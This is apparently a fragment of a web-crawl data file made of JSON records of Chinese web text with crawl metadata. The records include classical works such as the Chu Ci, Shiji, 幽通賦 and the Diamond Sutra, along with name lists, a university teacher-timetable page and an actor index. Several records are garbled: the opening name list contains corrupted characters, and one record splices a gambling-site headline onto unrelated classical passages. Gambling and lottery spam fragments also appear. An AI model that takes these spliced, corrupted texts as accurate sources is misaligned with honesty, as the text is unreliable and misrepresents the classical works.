赵炳中 赵永林 赵子云 赵璧完 荆涛 徐风 徐立 迅明发 徐无极 桂雍 倪入罪 倪肇鹏 秦锦章 杲站军 崇修仄易近 唐根熟 唐大笠 崇年丰 凌卓仄 陶地月 黄澍 黄敬东 黄学江 阎梓昭 梁睁忠 崔基旭 衰诗国 萧俊飞 傅疼国 董修 董鲜 董聘 童树根 睁德寿 程路亮 彭汉昆 葛文德 虞卫毅 阚睁站 泰跃入 潮洪 穆磊 摘武 戴静波 魏希尘 魏生年 张一楫 李千耐 马东升 孔德满 冯仲华 刘儿善 刘夜烽 庄传林 墨荣贤 完艺舟 弛良勋 张兆五 弛乃田 汪邦胜 忻可权 杨其铮 杨艺平 吴总星 吴亮何 吴树馨 花纯儒 李东 李国桢 肖煦 赵德 赵凤池 赵多瑞 胡寄樵 曹维 钱仰吾 葛介屏 韩书茂 穆孝地 司徒越 苞仕武 司有去 后庆 吴雪 邹富春 崇鸿 郭连波 扁洪 皑鹤 墨仁安 华其彬 许伟东 张波 李传军 沈家巨 鲜志 邵鑫 单凌雁 洪天赋 胡少秋 姜涛 倪恒文 徐易难 郭玉海 潘秋军 杨长华 感仇成 申屠卫政 杨文浏 刘跟弟 薛晓东 刘来保 鲜耕夫 陶 怯 张兵平难近 杨续坤 邵曙石海紧 扁衡仓 周继外 卢 水 蔡登崇 唐 亮 梁颖州 鲜士常 侯辉玉 张玉 单桂体 刘废贱 汪洋 齐飞 欧阴兵 罗巨祥 李士杰 余焰炉","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/hiro-tb.com\/Beplayty\/1340.html","date":"2018-12-09T20:12:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376823009.19\/warc\/CC-MAIN-20181209185547-20181209211547-00344.warc.gz","language":"lzh","language_score":0.5250027776,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5250027775764465, \"cmn_Hani_score\": 0.3051842451095581, \"nan_Hani_score\": 0.15734043717384338}","num_words":257,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.265,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.522,"perplexity_score":500.0,"cluster_detection":1} +{"text":"im体育卡媒武汉新冠肺炎康复者讲述抗疫经历\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n庆文深审谨,然无他大略,为百姓言。後三岁馀,太初二年中,丞相庆卒,谥为恬侯。庆中子德,庆爱用之,上以德为嗣,代侯。後为太常,坐法当死,赎免为庶人。庆方为丞相,诸子孙为吏更至二千石者十三人。及庆死後,稍以罪去,孝谨益衰矣。\n夫学者载籍极博,犹考信於六\n景帝中五年薨。子贲嗣,为太常,牺牲不如令,国除。\n其相吕嘉年长矣,相三王,宗族官仕为长吏者七十馀人,男尽尚王女,女尽嫁王子兄弟宗室,及苍梧秦王有连。其居国中甚重,越人信之,多为耳目者,得众心愈於王。王之上书,数谏止王,王弗听。有畔心,数称病不见汉使者。使者皆注意嘉,势未能诛。王、王太后亦恐嘉等先事发,乃置酒,介汉使者权,谋诛嘉等。使者皆东乡,太后南乡,王北乡,相嘉、大臣皆西乡,侍坐饮。嘉弟为将,将卒居宫外。酒行,太后谓嘉曰:\"南越内属,国之利也,而相君苦不便者,何也?\"以激怒使者。使者狐疑相杖,遂莫敢发。嘉见耳目非是,即起而出。太后怒,欲鏦嘉以矛,王止太后。嘉遂出,分其弟兵就舍,称病,不肯见王及使者。乃阴与大臣作乱。王素无意诛嘉,嘉知之,以故数月不发。太后有淫行,国人不附,欲独诛嘉等,力又不能。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/mobile.szachyonline.com\/QBVKQ53462.html","date":"2020-02-20T09:43:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875144708.87\/warc\/CC-MAIN-20200220070221-20200220100221-00190.warc.gz","language":"lzh","language_score":0.3973382711,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.39733827114105225, \"cmn_Hani_score\": 0.37961724400520325, \"nan_Hani_score\": 0.07711872458457947, \"wuu_Hani_score\": 0.03584406524896622, \"yue_Hani_score\": 0.01789768971502781, \"zxx_Latn_score\": 0.014323975890874863, \"jpn_Jpan_score\": 0.01114122848957777}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.462,"perplexity_score":500.0,"cluster_detection":1} +{"text":"幽通賦\n系高頊之玄胄兮,氏中葉之炳靈。颻颽風而蟬蛻兮,雄朔野以揚聲。皇十紀而鴻漸兮,有羽儀於上京。巨滔天而泯夏兮,考遘愍以行謠。終保己而貽則兮,里上仁之所廬。懿前烈之純淑兮,窮與達其必濟。咨孤蒙之眇眇兮,將圮絕而罔階。豈余身之足殉兮,違世業之可懷。靖潛處以永思兮,經日月而彌遠。匪黨人之敢拾兮,庶斯言之不玷。\n魂煢煢與神交兮,精誠發於宵寐。夢登山而迥眺兮,覿幽人之仿彿。攬葛藟而授余兮,眷峻谷曰勿墜。吻昕寤而仰思兮,心蒙蒙猶未察。黃神邈而靡質兮,儀遺讖以臆對。曰乘高而臚神兮,道遐通而不迷。葛綿綿於樛木兮,詠南風以為綏。蓋惴惴之臨深兮,乃二雅之所祗。既訊爾以吉象兮,又申之以炯戒。盍孟晉以迨群兮,辰倏忽其不再。\n承靈訓其虛徐兮,鎶盤桓而且俟。惟天地之無窮兮,鮮生民之晦在。紛屯邅與蹇連兮,何艱多而智寡。上聖迕而後拔兮,雖群黎之所御。昔衛叔之御昆兮,昆為寇而喪予。管彎弧欲斃仇兮,仇作後而成己。變化故而相詭兮,孰雲預其終始!雍造怨而先賞兮,丁繇惠而被戮。栗取吊於逌吉兮,王膺慶於所戚。叛回穴其若茲兮,北叟頗識其倚伏。單治里而外凋兮,張修襮而內逼。聿中和為庶幾兮,顏與冉又不得。溺招路以從己兮,謂孔氏猶未可。安慆慆而不萉兮,卒隕身乎世禍。游聖門而靡救兮,雖覆醢其何補?固行行其必凶兮,免盜亂為賴道。形氣發於根柢兮,柯葉匯而零茂。恐魍魎之責景兮,羌未得其雲已。\n黎淳耀於高辛兮,羋強大於南汜。嬴取威於伯儀兮,姜本支乎三趾。既仁得其信然兮,仰天路而同軌。東鄰虐而殲仁兮,王合位乎三五。戎女烈而喪孝兮,伯徂歸於龍虎。發還師以成命兮,重醉行而自耦。震鱗漦於夏庭兮,匝三正而滅姬。巽羽化於宣宮兮,彌五辟而成災。道修長而世短兮,夐冥默而不周。胥仍物而鬼諏兮,乃窮宙而達幽。媯巢姜於孺筮兮,旦筭祀於契龜。宣曹興敗於下夢兮,魯衛名謚於銘謠。妣聆呱而劾石兮,許相理而鞫條。道混成而自然兮,術同原而分流。神先心以定命兮,命隨行以訊息。斡流遷其不濟兮,故遭罹而嬴縮。三欒同於一體兮,雖移易而不忒。洞參差其紛錯兮,斯眾兆之所惑。周賈盪而貢憤兮,齊死生與禍福。抗爽言以矯情兮,信畏犧而忌鵩。\n所貴聖人至論兮,順天性而斷誼。物有欲而不居兮,亦有惡而不避。守孔約而不貳兮,乃輶德而無累。三仁殊於一致兮,夷惠舛而齊聲。木偃息以蕃魏兮,申重繭以存荊。紀焚躬以衛上兮,皓頤志而弗傾。侯草木之區別兮,苟能實其必榮。要沒世而不朽兮,乃先民之所程。觀天網之紘覆兮,實棐諶而相訓。謨先聖之大猷兮,亦鄰德而助信。虞韶美而儀鳳兮,孔忘味於千載。素文信而厎麟兮,漢賓祚於異代。精通靈而感物兮,神動氣而入微。養流睇而猿號兮,李虎發而石開。非精誠其焉通兮,苟無實其孰信?操末技猶必然兮,矧耽躬於道真。登孔昊而上下兮,緯群龍之所經。朝貞觀而夕化兮,猶諠己而遺形。若胤彭而偕老兮,訴來哲而通情。\n亂曰:天造草昧,立性命兮。復心弘道,惟聖賢兮。渾元運物,流不處兮。保身遺名,民之表兮。捨生取誼,以道用兮。憂傷夭物,忝莫痛兮。皓爾太素,曷渝色兮。尚越其幾,淪神域兮。\n簡析\n《幽通賦》作於班固家鄉安陵,是班固抒發個人思想、情懷的作品。班固很看重這篇性情之作。他將這篇《幽通賦》收入《漢書·敘傳》,成為班氏家族史的重要內容。\n《幽通賦》是班固突遭家庭變故之際,對宇宙、歷史、人生諸問題的思考,可以視為他青年時代的思想自白書,此賦是其家族盛衰的陳述,更是他發憤著述的誓詞。從這篇作品中可以看出班固早年的思想,以及時代思潮留下的印跡。\n環滁皆山也。其西南諸峰,林壑尤美,望之蔚然而深秀者,琅琊也。山行六七里,漸聞水聲潺潺而瀉出於兩峰之間者,釀泉也。峰迴路轉,有亭翼然臨於泉上者,醉翁亭也。作亭者誰?山之僧智仙也。名之者誰?太守自謂也。太守與客來飲於此,飲少輒醉,而年又最高,故自號曰醉翁也。醉翁之意不在酒,在乎山水之間也。山水\n黃初三年,余朝京師,還濟洛川。古人有言,斯水之神,名曰宓妃。感宋玉對楚王神女之事,遂作斯賦,其詞曰:\n余從京域,言歸東藩,背伊闕 ,越轘轅,經通谷,陵景山。日既西傾,車殆馬煩。爾乃稅駕乎蘅皋,秣駟乎芝田,容與乎陽林,流眄乎洛川。於是精移神駭,忽焉思散。俯則未察,仰以殊觀","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.arteducation.com.tw\/shiwenv_fb4fe81d52b7.html","date":"2021-12-07T07:57:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363337.27\/warc\/CC-MAIN-20211207075308-20211207105308-00257.warc.gz","language":"lzh","language_score":0.4191441834,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4191441833972931, \"cmn_Hani_score\": 0.16123318672180176, \"zxx_Latn_score\": 0.07677385210990906, \"nan_Hani_score\": 0.07173728197813034, \"und_Tang_score\": 0.029390420764684677, \"yue_Hani_score\": 0.020882057026028633, \"und_Yiii_score\": 0.013029603287577629, \"jpn_Jpan_score\": 0.011745978146791458, \"und_Cyrl_score\": 0.010938144288957119, \"und_Kits_score\": 0.010502556338906288, \"und_Hluw_score\": 0.010308468714356422}","num_words":14,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.347,"perplexity_score":500.0,"cluster_detection":1} +{"text":"第七品·無得無說分\n須菩提。於意雲何。如來得阿耨多羅三藐三菩提耶。如來有所說法耶。須菩提言。如我解佛所說義。無有定法。名阿耨多羅三藐三菩提。亦無有定法。如來可說。何以故。如來所說法。皆不可取。不可說。非法非非法。所以者何。壹切賢聖,皆以無為法而有差別。\n第八品·依法出生分\n須菩提。於意雲何。若人滿三千大千世界七寶。以用布施。是人所得福德。寧為多不。須菩提言。甚多。世尊。何以故。是福德即非福德性。是故如來說福德多。若復有人。於此經中受持乃至四句偈等。為他人說。其福勝彼。何以故。須菩提。壹切諸佛。及諸佛阿耨多羅三藐三菩提法。皆從此經出。須菩提。所謂佛法者。即非佛法。\n版权所有:金刚经修行网","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/m.jingangjcj.com\/jgjyw\/45_3.html","date":"2022-05-19T20:59:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662530066.45\/warc\/CC-MAIN-20220519204127-20220519234127-00356.warc.gz","language":"lzh","language_score":0.5105521679,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.510552167892456, \"cmn_Hani_score\": 0.22947630286216736, \"wuu_Hani_score\": 0.15193985402584076, \"nan_Hani_score\": 0.04144470393657684, \"jpn_Jpan_score\": 0.019810566678643227, \"yue_Hani_score\": 0.01717483438551426}","num_words":5,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.51,"perplexity_score":500.0,"cluster_detection":1} +{"text":"可选中1个或多个下面的关键词,搜索相关资料。白小姐生肖资料也可直接点\"搜索资料\"搜索整个问题。神鹰权威论坛在哪里?\n展开全部春回大地 春光明媚 春光融融 春光旖旎 春色怡人 春燕回巢 春风得意 春色迷人 春色无边 春意盎然 春暖花开 春色满园 春深如海 春寒料峭 春满人间 四季如春 春风和煦 春和日丽 春风送暖 春风浩荡 春苗茁壮 百花争春","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/www-258009.com\/caishenyexinshuiluntancaishenyegaoshouluntan\/daiyouchunzidechengyu8geyishang_1024.html","date":"2019-10-22T17:09:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987822458.91\/warc\/CC-MAIN-20191022155241-20191022182741-00482.warc.gz","language":"lzh","language_score":0.4959130287,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.495913028717041, \"cmn_Hani_score\": 0.4614602327346802, \"jpn_Jpan_score\": 0.03338038921356201}","num_words":23,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.512,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:\n李白 白居易 杜甫 苏轼 辛弃疾 李清照 王维 刘禹锡 纳兰性德 李商隐 杜牧 陆游 陶渊明 孟浩然 李煜 元稹 柳宗元 韩愈 王安石 欧阳修 岑参 贾岛 韦应物 曹操 柳永 温庭筠 李贺 刘长卿 王昌龄 曹植 张籍 孟郊 杨万里 诸葛亮 屈原 王勃 范仲淹 晏殊 晏几道 周邦彦 秦观 朱熹 高适 马致远 左丘明 黄庭坚 司马迁\n望海潮·自题小影 曾经沧海,又来沙漠,四千里外关河。骨相空谈,肠轮自转,回头十八年过。春梦醒来么?对春帆细雨,独自吟哦。惟有瓶花,数枝相伴不须多。寒江才脱渔蓑。剩风尘面貌,自看如何?鉴不因人,形还问影,岂缘醉后颜酡?...\n微信扫一扫,访问小程序","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/hqsly.tw\/index$&dynasty=%E8%BF%91%E4%BB%A3&dynastyLabel=%E8%BF%91%E4%BB%A3.htm","date":"2020-01-20T16:55:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250599718.13\/warc\/CC-MAIN-20200120165335-20200120194335-00551.warc.gz","language":"lzh","language_score":0.6132274866,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6132274866104126, \"cmn_Hani_score\": 0.2880926728248596, \"nan_Hani_score\": 0.0560779869556427, \"wuu_Hani_score\": 0.03046812117099762}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.759,"perplexity_score":500.0,"cluster_detection":1} +{"text":"萬 年 小 曆 西元 2002 年 12份 S M T W T F S 在這裡,你可以列印教師授課表。 學年度學期\/ 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 第一學期 第二學期 第三學期 暑修一 暑修二 寒修 暑修三 教師授課學部篩選\/ [---] [日間部] [進修部\/在職專班] [進修院校] [學分班] 教師篩選\/ 温禺登 丁一倫 丁信仁 丁虹仁 丁偉 尤澤森 王又民 王正熙 王亞偉 王昭仁 王雪芳 王貴正 王嘉興 王憲斌 王錫澤 王繼和 王耀德 任彥懷 任惠玲 各教師 各教師 朱州哲 朱祖德 何偉 何凱維 何嫈嫈 吳丞邦 吳伯曜 吳秀連 吳孟玳 吳俊彥 吳俊賢 吳建明 吳美珠 吳珮慈 吳清豐 吳勝吉 吳朝森 吳樹屏 吳豐帥 吳耀清 呂宜臻 呂瓊瑜 巫淑寧 李光明 李宗憲 李宛玲 李承中 李昌諺 李建宏 李昭華 李昭毅 李純誼 李皓鈞 李靜如 杜健忠 沈健華 林恒昌 林三立 林弘偉 林正芳 林灸珍 林依瑩 林佳蓉 林泳瀠 林青樺 林信州 林思如 林思賢 林韋辰 林員如 林淑媛 林勝恩 林惠玉 林惠真 林廉貴 林維新 林慧文 林靜欣 林顯富 林顯達 芳賀俊成 邱名謙 邱建龍 邱德昌 侯秀春 宣仲華 柯明宗 柯婷文 柳希諺 柳春夏 洪碩遠 胥嘉芳 范美玲 苟彩煥 孫沛婕 孫傳仁 孫瑞陽 徐明龍 徐瑞芳 秦桔新 翁雅萍 翁嘉穗 高從晏 涂青馨 張晋瑞 張子見 張天祥 張文惠 張有明 張宏榮 張李曉娟 張美鈴 張晃銘 張耿銘 張高華 張清為 張惠君 張量懿 張翠芬 張翡月 張瓏璇 梁有章 梁恩嘉 梁繼元 莊雯如 許文志 許立京 許良仲 許純碩 許淑婷 許聖傑 許榮旭 許嫚珊 許慧珍 許翰殷 許騉洪 郭文清 郭木炎 郭亞民 陳世欣 陳泳溱 陳芸平 陳炘長 陳信助 陳俊霖 陳俊鵬 陳冠中 陳品慈 陳建宏 陳建憲 陳柏年 陳盈吉 陳秋婉 陳美如 陳美祥 陳美齡 陳英俊 陳昶旭 陳泰安 陳珮翎 陳婉瑜 陳通和 陳順義 陳煥昌 陳鈺淋 陳銘村 陳銘歆 陳蓁蓁 陳慧珠 陳錫評 陳聰獻 陳駿林 陳麗芬 傅幻民 博懷恩 彭英欽 曾士齊 曾常豪 曾敏雅 曾惠珠 曾雅秀 曾裕仁 游宗新 游景新 程國恩 程遠正 黃子涵 黃永光 黃志敘 黃孟立 黃忠勛 黃明正 黃剛銘 黃淑珍 黃敬倫 黃新宗 黃鴻謀 楊士鋒 楊文榮 葉力誠 葉于雅 葉子綱 葉育恩 葉明陽 葉姿君 葉紋穗 葉純菊 葉國輝 葉燉烟 董傑 詹芬樺 廖中正 廖志文 廖良文 廖政彥 廖盈嵐 廖婉君 廖啟佑 廖敏宏 廖慈倫 廖義宏 趙瑞麟 劉正義 劉永華 劉百堅 劉育嘉 劉邦棟 劉金蘭 劉俞妤 劉威廷 劉建廷 劉淑芬 劉儲維 劉禧賢 樊期俊 歐陽光 蔡宏松 蔡志英 蔡佳惠 蔡宜靜 蔡朋瑾 蔡武宏 蔡長鈞 蔡青姿 蔡朝宗 蔡瑋娟 蔡銘祝 蔡麗芬 鄭百佑 鄭秀女 鄭婷尹 鄧秀梅 盧盈光 盧益弘 賴文龍 賴錦全 鮑敦珮 戴圳明 薛維煌 謝金安 謝婷如 謝煜廷 謝麗卿 謝麗淑 鍾文觀 鍾孟臻 鍾錦文 羅婷 蘇金淼 蘇倫慧 蘇添榮 蘇慶祥 鐘敻洋 單一教師橫式 063102 注意事項\/ 老師授課時數不包含已經進行停課作業的課程. 篩選列印[各教師]的報表,僅供除錯使用,所有課程均須指派老師,否則老師無法上線進行打成績與點名等相關作業操作。","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/ecampus.twu.edu.tw\/IISystem\/HR\/hourlypay\/school\/Employee\/Report2\/index3.jsp","date":"2020-04-02T15:22:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370506988.10\/warc\/CC-MAIN-20200402143006-20200402173006-00348.warc.gz","language":"lzh","language_score":0.3971165121,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.3971165120601654, \"cmn_Hani_score\": 0.3472422659397125, \"nan_Hani_score\": 0.23993007838726044, \"yue_Hani_score\": 0.011497488245368004}","num_words":307,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.32,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.395,"perplexity_score":500.0,"cluster_detection":1} +{"text":"由于人们在社会时代、环境变化、文化底蕴、信仰追求等的不同,人们有不同思想认识标准,姓名是长辈赐名给下一代的标识,这个是时代思想意境的一种表达,不同的人群就会有不同的社会。从这个意义上来说,原来认为姓名就是一符号,但在认可后就是名主将来思想的短语,在思想上姓名为名主表达最深刻的意境,人们经过受用的名称之为姓名。今天给大家带来了姓周男孩霸气时尚的名字大全。姓周男孩霸气时尚的名字大全周秀利 周淮毅 周超上 周家卫 周盼威 周 熊 周优舟 周逞彬 周厚家 周正苏 周窍策 周逸申 周解政 周任帜 周伟段 周雄楷 周佩义 周洪瑛 周敖尉 周致霏 周丰经 周礼建 周户会 周深火 周轩裕 周禧灵 周仲舜 周若博 周榕镇 周吏之 周循安 周劝卓 周质乐 周摇一 周余季 周策标 周木章 周宁秋 周振天 周谦夷 周新光 周荣越 周资民 周录宁 周恋鑫 周彪鼎 周留焱 周业思 周菘伊 周代扁 周树谱 周汝英 周颖一 周自翘 周栋冲 周列郎 周起伦 周示豆 周锋华 周妙玉 周魁祈 周畅家 周浩夜 周笔质 周比雪 周赞雪 周 君 周尝培 周羽讯 周菲叔 周缘固 周护乐 周钦润 周巍昕 周粮穗 周会旺 周泰帮 周剑润 周琛彩 周品茂 周甘培 周溢迟 周粟应 周知道 周凡星 周廉平 周枫荔 周杰熊 周可郁 周仁光 周欢冲 周方军 周杰渊 周廷图 周飘涛 周祥卓 周 房 周固琅 周添纯 周珩宇 周经珍 周上河 周小欢 周钧波 周帛逸 周 彪 周笑厦 周全晨 周凡峰 周魁烈 周中进 周 腾 周彪天 周可东 周毅淼 周互资 周保帮 周霖军 周泰兴 周澄全姓周男孩霸气时尚的名字大全周 寒 周炼致 周服夕 周齐睿 周中联 周飞启 周鸣卫 周和渝 周欢彪 周申华 周义灵 周包宇 周晾粟 周秋渊 周吏易 周汉危 周志光 周粟滕 周梨方 周心文 周亨睿 周 标 周麟茗 周楷盼 周营东 周汝隆 周铮康 周策权 周招珑 周祥萌 周安德 周腾生 周菲郁 周羡文 周偌偌 周节铭 周奋诞 周永奋 周质登 周亚治 周里伯 周均棋 周祥愈 周章席 周卫丘 周菘桦 周牧誉 周泰坚 周满勇 周修毅 周根霄 周宁冶 周靖可 周敬鸿 周宗沛 周觅毅 周麦可 周均祯 周庆穗 周苞锦 周有古 周珍曦 周时彪 周政腾 周星翔 周鹄伯 周品嘉 周荔堃 周 焱 周帮耀 周 佳 周奇丙 周巍群 周骞毅 周升丞 周踌贤 周飞丘 周 蔚 周厉军 周强策 周品田 周鉴睿 周义缘 周辉健 周之乐 周 卓 周谦嘉 周德良 周臻菁 周上磊 周乐芹 周松柯 周近震 周大边 周 锡 周东双 周缅钦 周问兴 周 保 周骞庚 周粮涛 周翀韦 周盛千 周哲界 周颢金 周甜同 周冶超 周宙珩 周信昱 周基隐 周烈愿 周玻夏 周富名 周票琪 周 声 周晤跋 周粟千 周虎史 周戚科 周清友\n提示您:无论好运与坏运,不必高兴或气馁,福报享尽即为坏运,坏运过去即为好运,多行善事才是好运的根本。","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/www.520name.com\/baziquming\/127245.html","date":"2021-05-08T17:05:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243988882.94\/warc\/CC-MAIN-20210508151721-20210508181721-00601.warc.gz","language":"lzh","language_score":0.9119966626,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9119966626167297, \"nan_Hani_score\": 0.06543157249689102, \"cmn_Hani_score\": 0.02037360519170761}","num_words":254,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.929,"perplexity_score":500.0,"cluster_detection":1} +{"text":"悼賈(並序)\n余嘗讀賈誼《新書》,見其經濟之學,大矣哉!真命世王佐之才也。自漢氏革嬴,高祖得於矢石,不暇延儒生。及為天子,制缺度弛,處華而夷。是時獨有叔孫生能定朝儀,其制未悉。唯生草其書,欲以制屈諸侯,推定正朔,調革輿服,通流貨幣。天不佑漢,絳灌興謗,竟枉其道,出傅湘沅。生自以不得志,哀屈平之放逐,及渡沅湘,沈文以吊之。故其辭曰:「離九州而相君兮,何必懷此故都。」噫!餘釋生之意矣。當戰國時,屈平不用於荊,則有齊趙秦魏矣。何不舍荊而相他國乎?餘謂平雖遭靳尚子蘭之讒,不忍舍同姓之邦,為他國之相,宜矣。然則生之見棄,又甚於平。當漢時,舍乎帝則為諸侯矣。如適諸侯,則新書之文,抑諸侯而尊天子。舍諸侯則胡越矣,則新書之文,滅胡越而崇中夏也。是以其心切,其憤深,其詞隱而麗,其藻傷而雅。餘悲生哀平之見棄,又生不能自用其道。嗚乎!聖賢之文與道也,求知與用,苟不在一時,而在百世之後者乎?其生之哀平歟?餘之悲生歟?吾之道也,廢與用幸未可知,但不知百世之後,得其文而存之者,復何人也。咸通癸未中,南浮至沅湘,復沈文以悼之。其辭曰:\n粵炎緒之嫣綿兮,其國度之未彰。天錫生以命理兮,冀其道之益光。偉吳公之知賢兮,道其名於文皇。既身辰攵以召之兮,遂位之於上庠。湣耋儒之憃愚兮,對天問之不臧。既群愚之讓俊兮,馳其譽之煌煌。嗟大漢之丕緒兮,蚪其賢於汙潢。上下溷而不分兮,議制削於驕王。殺僇棼而不制兮,斷捽胡其寇攘。羌虜坌以侵華兮,曾不能以抑強。餌其嗜之延延兮,實三代之計良。念五德之更承兮,論尵結而不綱。乃秉臆以興說兮,數用五而色尚黃。又諸侯以開國兮,輸其租於咸陽。曾不得以撫民兮,俾其君兮可忘。請紆糸禺以乘印兮,各馳化於所疆。上既悅而欲大用兮,遭絳灌於東陽。道既擯兮何明,乃出傅於沅湘。侼沅波之滃洫兮,或漾棹以夷猶。望靈均之沒所兮,顧其心之怊怊。臨汨羅之浩漾兮,想懷沙之幽憂。森樛蘿以蓊鬱兮,時犭開狖以相號。霧雨暗乎北渚,禺庸毒乎芳洲。景黯沮以不明兮,若夫悼乎離騷。香依依兮杜若,韻淒淒兮[QODJ]簩,山隱隱以掃空兮,煙微微而淡秋。嗟吾不知所惑兮,淚懭恨以橫流。當抱憤於渺藩兮,曾無足以少休。既薍以傷思兮,又鵂留以動愁。嗚呼哀哉!世既不平領吾道以為非兮,吾復何依。蘋蘭憔悴兮稂莠繁滋,麟鳳匿跡兮梟獍騰威。哲匠罷斧兮拙者構之,離婁閉目兮瞽者揚眉。子都蒙袂兮敦洽騁姿。嗚呼哀哉!亦先生之尢也。眙其世之不可兮,何不解而去位。又垂萬世之名兮,取舍在此。奚自謗於童羖兮,乃憪然而為累。蓋伊尹三就五就之心兮,冀其民之可治。奈惛惛以不悟兮,又被之以非議。幸一人之再覺兮,答受釐之奧義。既孱王以墮駕兮,乃冤慟而已矣。訊曰:君不明矣莫我知,幽都寂兮和涕歸。文懸日月兮俟後聖用之,大故忽兮其何足悲。\n|本唐朝作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/zh.wikisource.org\/wiki\/%E6%82%BC%E8%B3%88%EF%BC%88%E4%B8%A6%E5%BA%8F%EF%BC%89","date":"2021-05-18T12:18:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243989819.92\/warc\/CC-MAIN-20210518094809-20210518124809-00571.warc.gz","language":"lzh","language_score":0.4232661426,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.42326614260673523, \"cmn_Hani_score\": 0.29168447852134705, \"zxx_Latn_score\": 0.06065335497260094, \"nan_Hani_score\": 0.031166598200798035, \"und_Tang_score\": 0.02463497780263424, \"jpn_Jpan_score\": 0.0192089956253767, \"yue_Hani_score\": 0.014230985194444656, \"und_Yiii_score\": 0.011687733232975006, \"und_Cans_score\": 0.011562693864107132, \"wuu_Hani_score\": 0.01031107921153307}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.264,"perplexity_score":500.0,"cluster_detection":1} +{"text":"熱門頁面 郭富城 陳國邦 馬德鐘 陳豪 古天樂 苗僑偉 宣萱 吳鎮宇 所有項目 (101) # A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 其他 任 任達華 佘 佘詩曼 余 余慕蓮 劉 劉德華 劉松仁 劉江 劉美君 劉青雲 古 古天樂 古明華 吳 吳君如 吳啟華 吳孟達 吳鎮宇 周 周潤發 夏 夏雨 姜 姜大衛 孫 孫耀威 宣 宣萱 岳 岳華 廖 廖啟智 張 張兆輝 張可頤 張國強 張國榮 張學友 張家輝 張曼玉 張祟基 徐 徐錦江 成 成龍 曾 曾江 李 李司棋 李國麟 李成昌 杜 杜汶澤 杜麗莎 梁 梁朝偉 梅 梅艷芳 楊 楊怡 歐 歐瑞偉 歐陽震華 江 江嘉敏 江美儀 